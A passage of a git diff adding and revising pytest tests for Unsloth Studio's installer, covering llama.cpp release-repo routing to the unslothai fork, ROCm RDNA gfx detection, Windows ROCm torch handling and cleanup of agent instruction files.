+        ")"
+    ) in setup_ps1
+    assert "Remove-AgentInstructionFiles -Roots @($FrontendDir, $OxcValidatorDir)" not in setup_ps1
+    assert '"CLAUDE.md"' in setup_ps1
+    assert '-Include "AGENTS.md", "CLAUDE.md"' not in setup_ps1
+    assert '$child.Name -in @("AGENTS.md", "CLAUDE.md")' in setup_ps1
+    assert "$llamaCppIsLink" in setup_ps1
+    assert "if (-not $LocalLlamaCppLinked)" not in setup_ps1
+    assert "Join-Path $LlamaCppDir $StudioOwnedMarker" in setup_ps1
+    assert "Test-StudioOwnedAdoptable $LlamaCppDir" in setup_ps1
+    assert (
+        "Copy-Item -Recurse -LiteralPath $ResolvedLocal -Destination $LlamaCppDir\n"
+        "            Remove-AgentInstructionFiles -Roots @($LlamaCppDir)"
+    ) in setup_ps1
+    assert not (PACKAGE_ROOT / "studio" / "frontend" / "src" / "i18n" / "AGENTS.md").exists()
+    assert (PACKAGE_ROOT / "studio" / "frontend" / "src" / "i18n" / "README.md").is_file()
+
+
+def test_setup_sh_cleanup_unlinks_instruction_symlink_only(tmp_path: Path):
+    if shutil.which("bash") is None:
+        pytest.skip("bash is not available")
+
+    setup_sh = (PACKAGE_ROOT / "studio" / "setup.sh").read_text(encoding = "utf-8")
+    start = setup_sh.index("_remove_agent_instruction_files() {")
+    end = setup_sh.index("\n}\n", start) + 2
+    function = setup_sh[start:end]
+    managed = tmp_path / "managed"
+    external = tmp_path / "external.md"
+    managed.mkdir()
+    external.write_text("external", encoding = "utf-8")
+    instruction = managed / "AGENTS.md"
+    try:
+        instruction.symlink_to(external)
+    except OSError as exc:
+        pytest.skip(f"symlinks unavailable: {exc}")
+
+    subprocess.run(
+        ["bash", "-c", function + '\n_remove_agent_instruction_files "$1"', "bash", str(managed)],
+        check = True,
+    )
+
+    assert not os.path.lexists(instruction)
+    assert external.read_text(encoding = "utf-8") == "external"
 
 
 def test_install_prebuilt_does_not_skip_unhealthy_existing_install(
diff --git a/tests/studio/install/test_llama_pr_force_and_source.py b/tests/studio/install/test_llama_pr_force_and_source.py
index 8f40c9d720..4ff8c349c3 100644
--- a/tests/studio/install/test_llama_pr_force_and_source.py
+++ b/tests/studio/install/test_llama_pr_force_and_source.py
@@ -362,8 +362,11 @@ class TestSourcePatternsSh:
         assert '_LLAMA_SOURCE="${_DEFAULT_LLAMA_SOURCE}"' in self.content
 
     def test_release_repo_override_removed(self):
+        # No env-based release-repo override, and CPU-only hosts no longer fall
+        # back to ggml-org -- every host now routes to the fork.
         assert "UNSLOTH_LLAMA_RELEASE_REPO:-unslothai/llama.cpp" not in self.content
-        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' in self.content
+        assert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in self.content
+        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in self.content
 
     def test_force_compile_skips_prebuilt_resolution_early(self):
         assert 'if [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then' in self.content
@@ -425,12 +428,11 @@ class TestSourcePatternsPs1:
         assert "$LlamaSource = $DefaultLlamaSource" in self.content
 
     def test_release_repo_override_removed(self):
-        # Repo chosen by GPU detection (GPU -> fork, CPU -> ggml-org), no env override.
+        # No env-based release-repo override; every host now routes to the fork
+        # (the CPU-only ggml-org fallback was removed), mirroring setup.sh.
         assert "$HelperReleaseRepo = if ($env:UNSLOTH_LLAMA_RELEASE_REPO)" not in self.content
-        assert (
-            "$HelperReleaseRepo = if ($HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch) "
-            '{ "unslothai/llama.cpp" } else { "ggml-org/llama.cpp" }' in self.content
-        )
+        assert '$HelperReleaseRepo = "unslothai/llama.cpp"' in self.content
+        assert "$HelperReleaseRepo = if (" not in self.content
 
     def test_force_compile_skips_prebuilt_resolution_early(self):
         assert 'if ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {' in self.content
diff --git a/tests/studio/install/test_pr4562_bugfixes.py b/tests/studio/install/test_pr4562_bugfixes.py
index a8cec0cb85..0d2b092924 100644
--- a/tests/studio/install/test_pr4562_bugfixes.py
+++ b/tests/studio/install/test_pr4562_bugfixes.py
@@ -658,15 +658,21 @@ class TestSourceCodePatterns:
         assert "_HELPER_RELEASE_REPO}/releases/latest" not in content
         assert "ggml-org/llama.cpp/releases/latest" not in content
 
-    def test_setup_sh_routes_to_fork_only_on_usable_gpu(self):
-        """Linux routing gates NVIDIA on GPU usability, not nvidia-smi presence, so
-        CPU-only/hidden-GPU hosts get the ggml CPU prebuilt. Guards the old presence-only loop."""
+    def test_setup_sh_routes_every_host_to_fork(self):
+        """CPU-only Linux (the last ggml-org artifact consumer) now routes to the
+        fork like every other host, so the release-repo decision is unconditional.
+        Guards against a silent reintroduction of a ggml-org CPU routing branch.
+        GPU usability detection (used for PyTorch / source decisions) must stay."""
         content = SETUP_SH.read_text()
+        assert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in content
+        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in content
+        # Usability gating (not routing) still distinguishes a hidden GPU.
         assert '[ "$_setup_nvidia_usable" = true ]' in content
         assert "CUDA_VISIBLE_DEVICES" in content
-        # nvidia-smi must NOT be back in the bare presence loop.
-        assert "for _GPU_TOOL in nvidia-smi" not in content
-        assert "for _GPU_TOOL in rocminfo amd-smi hipconfig hipinfo" in content
+        # The GPU-tooling probe (PR #4562) stays: ROCm detection goes through
+        # command -v, not a bare presence loop that mishandled a hidden nvidia-smi.
+        assert "command -v rocminfo" in content
+        assert "command -v amd-smi" in content
 
     def test_setup_sh_reports_installed_prebuilt_release(self):
         """Shell wrapper should report the installed prebuilt release from metadata."""
diff --git a/tests/studio/install/test_rocm_rdna_routing.py b/tests/studio/install/test_rocm_rdna_routing.py
new file mode 100644
index 0000000000..b4aeafb7e4
--- /dev/null
+++ b/tests/studio/install/test_rocm_rdna_routing.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""RDNA 2/3/4 routing, validated on CPU-only CI with no AMD hardware.
+
+tests/_zoo_rocm_spoof.py presents torch as each Radeon gfx arch, then we assert
+unsloth_zoo routes it: device_type -> "hip", llama.cpp target -> ("rocm", gfx),
+and the per-family ROCm bundle suffix. The torch-facing checks run in a
+subprocess so the spoof never leaks into sibling tests and DEVICE_TYPE (cached
+at import) resolves from a clean process.
+"""
+
+from __future__ import annotations
+
+import json
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+pytest.importorskip("torch")
+pytest.importorskip("unsloth_zoo")
+
+_TESTS_DIR = Path(__file__).resolve().parents[2]  # tests/
+
+# gfx -> (expected llama.cpp target, expected ROCm bundle family).
+_ARCHES = {
+    "gfx1030": (("rocm", "gfx1030"), "gfx103X"),  # RDNA2
+    "gfx1031": (("rocm", "gfx1031"), "gfx103X"),
+    "gfx1032": (("rocm", "gfx1032"), "gfx103X"),
+    "gfx1034": (("rocm", "gfx1034"), "gfx103X"),
+    "gfx1100": (("rocm", "gfx1100"), "gfx110X"),  # RDNA3
+    "gfx1101": (("rocm", "gfx1101"), "gfx110X"),
+    "gfx1102": (("rocm", "gfx1102"), "gfx110X"),
+    "gfx1150": (("rocm", "gfx1150"), "gfx1150"),  # RDNA3.5 APU (self-family)
+    "gfx1151": (("rocm", "gfx1151"), "gfx1151"),
+    "gfx1200": (("rocm", "gfx1200"), "gfx120X"),  # RDNA4
+    "gfx1201": (("rocm", "gfx1201"), "gfx120X"),
+}
+
+# Child: spoof each arch, then record device_type once (fresh import) and the
+# live llama.cpp target per arch. Emits one JSON line the parent parses.
+_CHILD = """
+import json, sys
+sys.path.insert(0, {tests!r})
+import _zoo_rocm_spoof as spoof
+arches = {arches!r}
+spoof.apply(arches[0])
+from unsloth_zoo.device_type import get_device_type, is_hip
+device_type = [get_device_type(), is_hip()]
+from unsloth_zoo import llama_cpp as lc
+targets = {{}}
+for gfx in arches:
+    spoof.apply(gfx)
+    targets[gfx] = list(lc._detect_gpu_target())
+print("RESULT " + json.dumps({{"device_type": device_type, "targets": targets}}))
+"""
+
+
+@pytest.fixture(scope = "module")
+def routed():
+    code = _CHILD.format(tests = str(_TESTS_DIR), arches = list(_ARCHES))
+    proc = subprocess.run([sys.executable, "-c", code], capture_output = True, text = True)
+    line = next((l for l in proc.stdout.splitlines() if l.startswith("RESULT ")), None)
+    assert line, f"child produced no result.\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}"
+    return json.loads(line[len("RESULT ") :])
+
+
+@pytest.mark.parametrize("gfx", list(_ARCHES))
+def test_detect_gpu_target(routed, gfx):
+    # RDNA card is routed to its ROCm gfx target (drives the llama.cpp bundle).
+    assert tuple(routed["targets"][gfx]) == _ARCHES[gfx][0]
+
+
+def test_device_type_is_hip(routed):
+    # An RDNA card must resolve the compute device_type to "hip".
+    assert routed["device_type"] == ["hip", True]
+
+
+@pytest.mark.parametrize("gfx", list(_ARCHES))
+def test_rocm_gfx_family(gfx):
+    # Pure mapping (no torch): each gfx picks the right per-family ROCm bundle.
+    from unsloth_zoo import llama_cpp as lc
+    assert lc._rocm_gfx_family(gfx) == _ARCHES[gfx][1]
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index 4c50fa1c8e..5cabf41f57 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -1473,12 +1473,14 @@ class TestHardwareAmdBranching:
         assert "from . import amd" in source
 
     def test_hardware_branches_on_is_rocm_for_utilization(self):
-        """get_gpu_utilization dispatches to amd.py via _smi_query when IS_ROCM."""
+        """get_gpu_utilization dispatches visible metrics through amd.py on ROCm."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def get_gpu_utilization")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
-        assert '_smi_query("get_primary_gpu_utilization"' in func_body
+        assert "_smi_query(" in func_body
+        assert '"get_visible_gpu_utilization"' in func_body
+        assert "_reconcile_rocm_unified_memory" in func_body
         smi = source[
             source.find("def _smi_query") : source.find("\ndef ", source.find("def _smi_query") + 1)
         ]
@@ -2294,6 +2296,70 @@ class TestRocmTorchInstalledEnvVar:
         mock_bnb.assert_not_called()
 
 
+class TestWindowsRocmTorchaoGuard:
+    """Verify the torchao skip can detect an installed Windows ROCm torch build."""
+
+    def test_installed_torch_is_windows_rocm_accepts_rocm_probe(self):
+        rv = MagicMock()
+        rv.returncode = 0
+        rv.stdout = "yes"
+        with (
+            patch.object(stack_mod, "IS_WINDOWS", True),
+            patch.object(stack_mod.subprocess, "run", return_value = rv),
+        ):
+            assert stack_mod._installed_torch_is_windows_rocm() is True
+
+    def test_installed_torch_is_windows_rocm_rejects_non_rocm_probe(self):
+        rv = MagicMock()
+        rv.returncode = 0
+        rv.stdout = ""
+        with (
+            patch.object(stack_mod, "IS_WINDOWS", True),
+            patch.object(stack_mod.subprocess, "run", return_value = rv),
+        ):
+            assert stack_mod._installed_torch_is_windows_rocm() is False
+
+    def test_installed_torch_is_windows_rocm_is_non_windows_noop(self):
+        with patch.object(stack_mod, "IS_WINDOWS", False):
+            assert stack_mod._installed_torch_is_windows_rocm() is False
+
+    @patch.object(stack_mod, "_repair_bad_anyio")
+    @patch.object(stack_mod, "_ensure_rocm_torch")
+    @patch.object(stack_mod, "_ensure_cuda_torch")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True)
+    @patch.object(stack_mod, "run")
+    @patch.object(stack_mod, "pip_install")
+    def test_install_python_stack_skips_torchao_when_windows_rocm_torch_is_installed(
+        self, mock_pip, mock_run, mock_has_nvidia, mock_cuda, mock_rocm, mock_anyio, tmp_path
+    ):
+        unstructured_plugin = tmp_path / "unstructured"
+        github_plugin = tmp_path / "github"
+        unstructured_plugin.mkdir()
+        github_plugin.mkdir()
+
+        subprocess_result = MagicMock()
+        subprocess_result.returncode = 0
+        subprocess_result.stdout = ""
+
+        with (
+            patch.dict(os.environ, {"SKIP_STUDIO_BASE": "1"}),
+            patch.object(stack_mod, "IS_WINDOWS", True),
+            patch.object(stack_mod, "IS_MACOS", False),
+            patch.object(stack_mod, "IS_MAC_ARM", False),
+            patch.object(stack_mod, "NO_TORCH", False),
+            patch.object(stack_mod, "_rocm_windows_torch_installed", False),
+            patch.object(stack_mod, "_bootstrap_uv", return_value = False),
+            patch.object(stack_mod, "_installed_torch_is_windows_rocm", return_value = True),
+            patch.object(stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin),
+            patch.object(stack_mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin),
+            patch.object(stack_mod.subprocess, "run", return_value = subprocess_result),
+        ):
+            assert stack_mod.install_python_stack() == 0
+
+        installed_specs = [str(arg) for call in mock_pip.call_args_list for arg in call.args]
+        assert not any("torchao" in arg for arg in installed_specs)
+
+
 # TEST: worker.py -- Windows ROCm patches (source-level checks)
 
 
@@ -3098,21 +3164,25 @@ class TestRocmGfxForwarding:
         assert "--rocm-gfx" in source
         assert "$script:ROCmGfxArch" in source
 
-    def test_setup_sh_routes_inferred_gfx_to_fork(self):
-        # An inferred gfx arch must route to the fork even without ROCm tooling.
-        # Pin the specific guard (a bare "${_setup_gfx:-}" also appears elsewhere).
+    def test_setup_sh_routes_unconditionally_to_fork(self):
+        # CPU-only hosts no longer fall back to ggml-org -- the release-repo
+        # decision is an unconditional fork assignment now. Pin the line text.
         source = _SETUP_SH_PATH.read_text(encoding = "utf-8")
-        assert '[ "$_LINUX_HAS_GPU" = false ] && [ -n "${_setup_gfx:-}" ]' in source
+        assert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in source
+        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in source
 
-    def test_setup_ps1_routes_inferred_gfx_to_fork(self):
-        # On Windows, a resolved $script:ROCmGfxArch counts as a fork install
-        # even when $HasROCm is false (Adrenalin-only, no HIP runtime).
+    def test_setup_ps1_routes_unconditionally_to_fork(self):
+        # Same on Windows: the fork now ships the windows-cpu / windows-arm64
+        # bundles, so $HelperReleaseRepo is an unconditional fork assignment.
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
-        assert "$HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch" in source
+        assert '$HelperReleaseRepo = "unslothai/llama.cpp"' in source
+        assert "$HelperReleaseRepo = if (" not in source
 
-    # The assertions above pin the guard *text*; the tests below *execute* the
-    # real routing block and assert the resolved repo, so a refactor that keeps
-    # the literal but breaks the inferred-gfx -> fork decision is still caught.
+    # The text pins above guard the literal. The tests below *execute* the real
+    # routing line from setup.sh / setup.ps1 and assert the resolved release repo,
+    # so a refactor that reintroduces a conditional (or a ggml-org branch) is still
+    # caught. Inputs are varied -- CPU-only, inferred/forwarded gfx, usable NVIDIA --
+    # to prove no host slips back onto ggml-org. No GPU, no tooling, no network.
 
     @staticmethod
     def _resolve_setup_sh_repo(
@@ -3121,15 +3191,18 @@ class TestRocmGfxForwarding:
         setup_gfx,
         rocm_gfx_arch_env = "",
     ):
-        """Run setup.sh's routing block under bash with PATH emptied (no ROCm tooling) and return _HELPER_RELEASE_REPO."""
+        """Run setup.sh's release-repo routing block under bash and return the
+        resolved _HELPER_RELEASE_REPO. PATH is emptied so any stray tooling probe
+        misses; routing is unconditional, so the GPU inputs only prove no branch
+        reroutes a host to ggml-org."""
         import shutil
 
         bash = shutil.which("bash")
         if bash is None:
             pytest.skip("bash not available")
         source = _SETUP_SH_PATH.read_text(encoding = "utf-8")
-        start = source.index("\n_LINUX_HAS_GPU=false\n") + 1
-        end = source.index("\nunset _GPU_TOOL", start) + len("\nunset _GPU_TOOL")
+        start = source.index('\n_HELPER_RELEASE_REPO="unslothai/llama.cpp"\n') + 1
+        end = source.index("\n_LLAMA_PR=", start)
         block = source[start:end]
         assert "_HELPER_RELEASE_REPO" in block, "setup.sh routing anchors not found"
         env = {
@@ -3151,25 +3224,31 @@ class TestRocmGfxForwarding:
         assert result.returncode == 0, result.stderr
         return result.stdout.strip()
 
-    def test_setup_sh_inferred_gfx_resolves_to_fork(self):
-        # Only a name-inferred gfx arch -> route to the fork's per-gfx prebuilt
-        # (not ggml-org). x64 and arm64 share the fork branch.
-        assert self._resolve_setup_sh_repo("x86_64", False, "gfx1100") == "unslothai/llama.cpp"
-        assert self._resolve_setup_sh_repo("aarch64", False, "gfx1100") == "unslothai/llama.cpp"
-
-    def test_setup_sh_env_forwarded_gfx_resolves_to_fork(self):
-        # No probe fired but UNSLOTH_ROCM_GFX_ARCH is set: adopt the env arch
-        # and route to the fork, same as name-inference.
-        repo = self._resolve_setup_sh_repo("x86_64", False, "", rocm_gfx_arch_env = "gfx1100")
-        assert repo == "unslothai/llama.cpp"
-
-    def test_setup_sh_cpu_host_still_resolves_to_ggml(self):
-        # A real CPU host (no GPU, no inferred gfx, no env override) must keep routing to ggml-org.
-        assert self._resolve_setup_sh_repo("x86_64", False, "") == "ggml-org/llama.cpp"
+    @pytest.mark.parametrize(
+        "machine, nvidia_usable, setup_gfx, env_gfx",
+        [
+            ("x86_64", False, "", ""),  # plain CPU host (used to take ggml-org)
+            ("aarch64", False, "", ""),  # plain CPU arm64 host (used to take ggml-org)
+            ("x86_64", False, "gfx1100", ""),  # name-inferred gfx
+            ("x86_64", False, "", "gfx1100"),  # env-forwarded gfx
+            ("x86_64", True, "", ""),  # usable NVIDIA
+        ],
+    )
+    def test_setup_sh_routing_block_always_resolves_to_fork(
+        self, machine, nvidia_usable, setup_gfx, env_gfx
+    ):
+        assert (
+            self._resolve_setup_sh_repo(
+                machine, nvidia_usable, setup_gfx, rocm_gfx_arch_env = env_gfx
+            )
+            == "unslothai/llama.cpp"
+        )
 
     @staticmethod
-    def _resolve_setup_ps1_repo(has_nvidia, has_rocm, gfx_arch):
-        """Run setup.ps1's $HelperReleaseRepo selection under pwsh and return the resolved repo."""
+    def _resolve_setup_ps1_repo():
+        """Run setup.ps1's $HelperReleaseRepo assignment under pwsh and return the
+        resolved repo. The assignment is unconditional now, so there are no host
+        inputs to vary."""
         import shutil
 
         pwsh = shutil.which("pwsh")
@@ -3177,21 +3256,11 @@ class TestRocmGfxForwarding:
             pytest.skip("pwsh not available")
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
         line = next(
-            (
-                ln
-                for ln in source.splitlines()
-                if ln.strip().startswith("$HelperReleaseRepo = if (")
-            ),
+            (ln for ln in source.splitlines() if ln.strip().startswith("$HelperReleaseRepo =")),
             None,
         )
         assert line is not None, "$HelperReleaseRepo selection not found in setup.ps1"
-        harness = (
-            f"$HasNvidiaSmi = ${'true' if has_nvidia else 'false'}\n"
-            f"$HasROCm = ${'true' if has_rocm else 'false'}\n"
-            f"$script:ROCmGfxArch = '{gfx_arch}'\n"
-            f"{line}\n"
-            "Write-Output $HelperReleaseRepo"
-        )
+        harness = f"{line}\nWrite-Output $HelperReleaseRepo"
         result = subprocess.run(
             [pwsh, "-NoProfile", "-Command", harness],
             capture_output = True,
@@ -3201,13 +3270,10 @@ class TestRocmGfxForwarding:
         assert result.returncode == 0, result.stderr
         return result.stdout.strip()
 
-    def test_setup_ps1_inferred_gfx_resolves_to_fork(self):
-        # Adrenalin-only host: $HasROCm false but gfx inferred -> fork's windows-rocm bundle.
-        assert self._resolve_setup_ps1_repo(False, False, "gfx1100") == "unslothai/llama.cpp"
-
-    def test_setup_ps1_cpu_host_still_resolves_to_ggml(self):
-        # No NVIDIA, no ROCm, no inferred gfx -> CPU host stays on ggml-org.
-        assert self._resolve_setup_ps1_repo(False, False, "") == "ggml-org/llama.cpp"
+    def test_setup_ps1_routing_resolves_to_fork(self):
+        # Windows routing is unconditional now: CPU-only Windows (x64 and arm64)
+        # uses the fork's windows-cpu / windows-arm64 bundles, not ggml-org.
+        assert self._resolve_setup_ps1_repo() == "unslothai/llama.cpp"
 
 
 # TEST: _pick_rocm_gfx_target -- visible-device selection from rocminfo output.
@@ -3360,8 +3426,9 @@ class TestInstallShDropinPersistence:
     def test_gate5_early_return_persists_dropin(self):
         """The rocminfo-already-works early return must call the persist helper before returning."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
-        # The persist call must precede `return 0` at the rocminfo gfx1151 gate.
-        gate = source.find("Name:[[:space:]]*gfx1151")
+        # The persist call must precede `return 0` at the rocminfo GPU-agent gate
+        # (uniquely identified by the `!/generic/` clause the other probes lack).
+        gate = source.find("Name:[[:space:]]*gfx[1-9]/ && !/generic/")
         assert gate != -1
         window = source[gate : gate + 900]
         assert "_persist_rocm_wsl_dropin" in window
@@ -3375,6 +3442,49 @@ class TestInstallShDropinPersistence:
         assert "profile.d/unsloth-rocm-wsl.sh" in body
 
 
+_STRIXHALO_WSL_PATH = PACKAGE_ROOT / "scripts" / "install_rocm_wsl_strixhalo.sh"
+
+
+class TestWslRerouteNvidiaGuard:
+    """_maybe_reroute_strixhalo_to_2404 must skip the AMD reroute on hybrid AMD+NVIDIA hosts by
+    reusing _has_usable_nvidia_gpu (CUDA_VISIBLE_DEVICES-aware + /proc/driver/nvidia fallback),
+    which must be defined before the reroute's call site so it is actually available."""
+
+    def test_reroute_calls_nvidia_helper_before_amd_signal(self):
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        start = source.find("_maybe_reroute_strixhalo_to_2404()")
+        assert start != -1
+        body = source[start : start + 1200]
+        nv = body.find("_has_usable_nvidia_gpu")
+        wmi = body.find("_wsl_amd_gpu_name")
+        assert nv != -1, "reroute must consult _has_usable_nvidia_gpu before deciding to reroute"
+        assert wmi != -1
+        # The NVIDIA guard must precede the AMD/WMI signal and return early.
+        assert nv < wmi
+        assert body.find("return 0", nv) < wmi
+
+    def test_nvidia_helper_and_deps_defined_before_reroute_callsite(self):
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        call = source.find("\n_maybe_reroute_strixhalo_to_2404 || true")
+        assert call != -1
+        for fn in ("_run_bounded() {", "_cvd_hides_nvidia() {", "_has_usable_nvidia_gpu() {"):
+            idx = source.find(fn)
+            assert idx != -1 and idx < call, f"{fn} must be defined before the reroute call"
+
+
+class TestStrixhaloGfxOverridePipefail:
+    """The UNSLOTH_WSL_GFX override check must use a consuming grep, not grep -q: under
+    `set -o pipefail` an early -q exit SIGPIPEs printf and misreports the arch on large output."""
+
+    def test_gfx_override_uses_consuming_grep(self):
+        source = _STRIXHALO_WSL_PATH.read_text(encoding = "utf-8")
+        idx = source.find('grep -E "Name:[[:space:]]*${GFX}')
+        assert idx != -1, "GFX override must use a consuming grep -E (not grep -q)"
+        line = source[idx : source.find("\n", idx)]
+        assert ">/dev/null" in line
+        assert 'grep -qE "Name:[[:space:]]*${GFX}' not in source
+
+
 class TestLlamaCppRuntimeWslOrdering:
     """The serve-time launcher mirrors binary_env: system HIP before the bundle dir on WSL."""
 
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index 464aa9a578..7575dea581 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -69,6 +69,14 @@ pinned_macos_release_tag = INSTALL_LLAMA_PREBUILT.pinned_macos_release_tag
 resolve_simple_install_release_plans = INSTALL_LLAMA_PREBUILT.resolve_simple_install_release_plans
 
 
+@pytest.fixture(autouse = True)
+def _disable_download_host_fast_path(monkeypatch):
+    # This module exercises the GitHub API enumeration and asset selection against
+    # mocked releases; keep the download-host fast path (real CDN) out of the way.
+    # test_download_host_resolve.py covers the fast path itself.
+    monkeypatch.setenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", "1")
+
+
 def load_studio_run_module(monkeypatch):
     logger = types.SimpleNamespace(
         debug = lambda *a, **k: None,
@@ -1629,7 +1637,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1674,7 +1682,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1720,8 +1728,10 @@ class TestResolveInstallAttempts:
         assert approved.release_tag == "llama-prebuilt-latest"
 
     def test_linux_cpu_fork_without_bundle_raises_no_upstream_fallback(self, monkeypatch):
-        # CPU-only Linux on the fork must not fall back to the ggml-org CPU asset; with
-        # no fork CPU bundle the resolver raises rather than reaching upstream.
+        # A CPU-only Linux host on the fork never falls back to the ggml-org CPU
+        # asset. CPU-only Linux now routes to the fork, but if a release manifest
+        # happens to ship no CPU bundle the resolver raises rather than quietly
+        # reaching for an upstream asset.
         host = make_host(
             has_usable_nvidia = False,
             has_physical_nvidia = False,
@@ -1737,7 +1747,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1769,7 +1779,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1818,7 +1828,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1846,6 +1856,151 @@ class TestResolveInstallAttempts:
         assert attempts[0].name == asset_name
         assert attempts[0].source_label == "published"
 
+    @pytest.mark.parametrize(
+        "system, machine, asset_name, install_kind, bundle_profile",
+        [
+            # CPU-only Linux x64 -> fork linux-cpu (was ggml-org ubuntu-x64).
+            ("Linux", "x86_64", "app-b9625-linux-x64-cpu.tar.gz", "linux-cpu", "linux-cpu-x64"),
+            # CPU-only Linux arm64 -> fork linux-arm64 (was ggml-org ubuntu-arm64).
+            (
+                "Linux",
+                "aarch64",
+                "app-b9625-linux-arm64-cpu.tar.gz",
+                "linux-arm64",
+                "linux-cpu-arm64",
+            ),
+            # CPU-only Windows arm64 -> fork windows-arm64 (was ggml-org win-cpu-arm64).
+            (
+                "Windows",
+                "arm64",
+                "app-b9625-windows-arm64-cpu.zip",
+                "windows-arm64",
+                "windows-cpu-arm64",
+            ),
+        ],
+    )
+    def test_cpu_host_prefers_published_fork_asset(
+        self, monkeypatch, system, machine, asset_name, install_kind, bundle_profile
+    ):
+        # CPU-only hosts now select the fork's CPU bundle from the manifest and
+        # must never query ggml-org upstream assets. Windows x64 CPU is covered
+        # separately by test_windows_cpu_prefers_published_asset.
+        host = make_host(
+            system = system,
+            machine = machine,
+            has_usable_nvidia = False,
+            has_physical_nvidia = False,
+            nvidia_smi = None,
+        )
+        release = make_release(
+            [
+                make_artifact(
+                    asset_name,
+                    install_kind = install_kind,
+                    runtime_line = None,
+                    coverage_class = None,
+                    supported_sms = [],
+                    min_sm = None,
+                    max_sm = None,
+                    bundle_profile = bundle_profile,
+                    rank = 1000,
+                )
+            ],
+            release_tag = "llama-prebuilt-latest",
+            upstream_tag = "b9625",
+            assets = {asset_name: f"https://published.example/{asset_name}"},
+        )
+        checksums = make_checksums_with_source(
+            [asset_name],
+            release_tag = release.release_tag,
+            upstream_tag = "b9625",
+        )
+
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT,
+            "iter_resolved_published_releases",
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+                [
+                    INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
+                        bundle = release,
+                        checksums = checksums,
+                    )
+                ]
+            ),
+        )
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT,
+            "github_release_assets",
+            lambda repo, tag: (_ for _ in ()).throw(
+                AssertionError("fork CPU host must not query upstream assets")
+            ),
+        )
+
+        _requested_tag, resolved_tag, attempts, _approved = resolve_install_attempts(
+            "latest",
+            host,
+            "unslothai/llama.cpp",
+            "",
+        )
+
+        assert resolved_tag == "b9625"
+        assert attempts[0].name == asset_name
+        assert attempts[0].install_kind == install_kind
+        assert attempts[0].source_label == "published"
+
+    def test_cpu_only_unsupported_arch_source_builds(self, monkeypatch):
+        # A CPU-only Linux host that is neither x86_64 nor arm64 (ppc64le,
+        # riscv64, s390x) has no compatible CPU bundle. It must source-build, not
+        # receive the x86_64 linux-cpu binary (the Linux preflight checks libs,
+        # not ELF arch, so a wrong-arch binary would slip through).
+        host = make_host(
+            machine = "ppc64le",
+            has_usable_nvidia = False,
+            has_physical_nvidia = False,
+            nvidia_smi = None,
+        )
+        assert not host.is_x86_64 and not host.is_arm64
+        x64_asset = "app-b9625-linux-x64-cpu.tar.gz"
